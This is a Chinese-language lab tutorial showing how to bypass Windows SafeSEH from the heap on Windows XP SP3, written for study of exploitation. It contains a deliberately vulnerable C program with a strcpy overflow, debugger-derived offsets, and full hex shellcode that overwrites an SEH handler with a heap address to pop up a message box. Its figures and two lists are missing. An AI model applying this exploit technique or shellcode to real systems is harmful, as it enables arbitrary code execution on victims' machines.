使用堆绕过SafeSEH机制

SafeSEH 对异常处理的保护原理

​ 在Windows XP SP2 及后续的操作系统中, 微软引入了SEH校验机制SafeSEH.SafeSEH的原理如下: 在程序调用异常处理函数前, 对要调用的异常处理函数进行一系列的有效性校验, 当发现异常处理函数不可靠时将终止异常处理函数的调用.

​ 在VS 2003及后续的版本中, 链接选项中的/SafeSEH选项是默认启用的, 这可以让编译好的程序具备SafeSEH功能. 启用该选项后, 编译器在编译程序的时候将程序所有的异常处理函数地址提取出来, 编入一张安全SEH表, 并将这张表放到程序的映像里面. 当程序调用异常处理函数的时候会将函数地址与安全SEH表进行匹配, 检查调用的异常处理函数是否位于安全SEH表中. 在VS命令提示行, 执行dumpbin /loadconfig filename可以查看程序安全SEH表的情况, 如下图所示:

1

SafeSEH机制首先调用了RtlDispatchException()函数判断: 异常处理链是否位于当前程序栈中; 异常处理指针是否指向当前程序栈中. 若不通过都将终止异常处理函数的调用. 之后调用RtlIsValidHandler()函数, 其伪代码如下:

BOOL RtlIsValidHandler( handler )
{
    if (handler is in the loaded image)      // 在加载模块的内存空间内
    {
        if (image has set the IMAGE_DLLCHARACTERISTICS_NO_SEH flag)
            return FALSE;                    // 程序设置了忽略异常处理
        if (image has a SafeSEH table)       // 含有 SafeSEH 表说明程序启用了 SafeSEH
            if (handler found in the table)  // 异常处理函数地址在表中
                return TRUE;
            else
                return FALSE;
        if (image is a .NET assembly with the ILonly flag set)
            return FALSE;                    // 包含 IL 标志的 .NET 中间语言程序
    }

    if (handler is on non-executable page)   // 在不可执行页上
    {
        if (ExecuteDispatchEnable bit set in the process flags)
            return TRUE;                     // DEP 关闭
        else
            raise ACCESS_VIOLATION;          // 访问违例异常
    }

    if (handler is not in an image)          // 在可执行页上,但在加载模块之外
    {
        if (ImageDispatchEnable bit set in the process flags)
            return TRUE;                     // 允许加载模块内存空间外执行
        else
            return FALSE;
    }
    return TRUE;                             // 允许执行异常处理函数
}


​ 根据上述流程, 运行异常处理函数执行的情况如下:

​ 因此, 绕过SafeSEH机制有如下方法:

从堆中绕过 SafeSEH

​ 实验环境如下:

操作系统 Windows XP SP3
编译器 Visual Studio 2008
编译选项 DEP关闭, 禁用优化选项

POC代码如下, 含义是用shellcode在堆中的起始地址覆盖异常处理函数地址, 然后通过除0异常调用异常处理函数:

#include <stdlib.h>
#include <string.h>

char shellcode[] = "\x90...";

void test(char *input)
{
	char str[200];
	strcpy(str, input);
	int zero = 0;
	zero = 1 / zero;
}

void main()
{
	char *buf = (char *)malloc(500);
	strcpy(buf, shellcode);
	test(shellcode);
}

​ 使用OllyDbg运行编译好的程序, 执行到程序中断在完成申请堆中空间的位置, 如下图所示, 寄存器EAX中存放着申请空间的首地址, 即地址003907A8shellcode的首地址:

2

​ 然后执行到test函数的strcpy完成后, 填充的0x90标识出了字符串的起始地址, 即地址0x0012FE5C是溢出字符串的起始地址, 如下图所示:

3

​ 打开SEH链视图, SEH异常处理函数指针位于0x0012FFB0+4的位置(0x0012FFB0为指向下一个SEH的链表指针, 0x0012FFB4才是异常回调函数句柄), 如下图所示:

4

​ 因为 0x0012FFB4 - 0x0012FE5C = 344字节, 所以缓冲区起始地址与异常回调函数句柄之间有344字节间隙. 使用的shellcode布局为: 168个字节的弹出对话框的机器码; 176字节的填充\x90; 4字节使用003907A8缓冲区地址填充, 用于更改异常回调函数的句柄. 修改好的shellcode如下:

char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xA8\x07\x39\x00"//address of shellcode in heap
;

​ 重新编译程序, 在程序0x003907A8位置设置断点, F9运行程序到上述断点处中断. 由此可知, 已经成功绕过SafeSEH机制转入shellcode运行了. 继续运行程序, 执行shellcode显示弹窗, 如下图所示:

5

​ 最终, 成功实现了从堆中绕过 SafeSEH机制.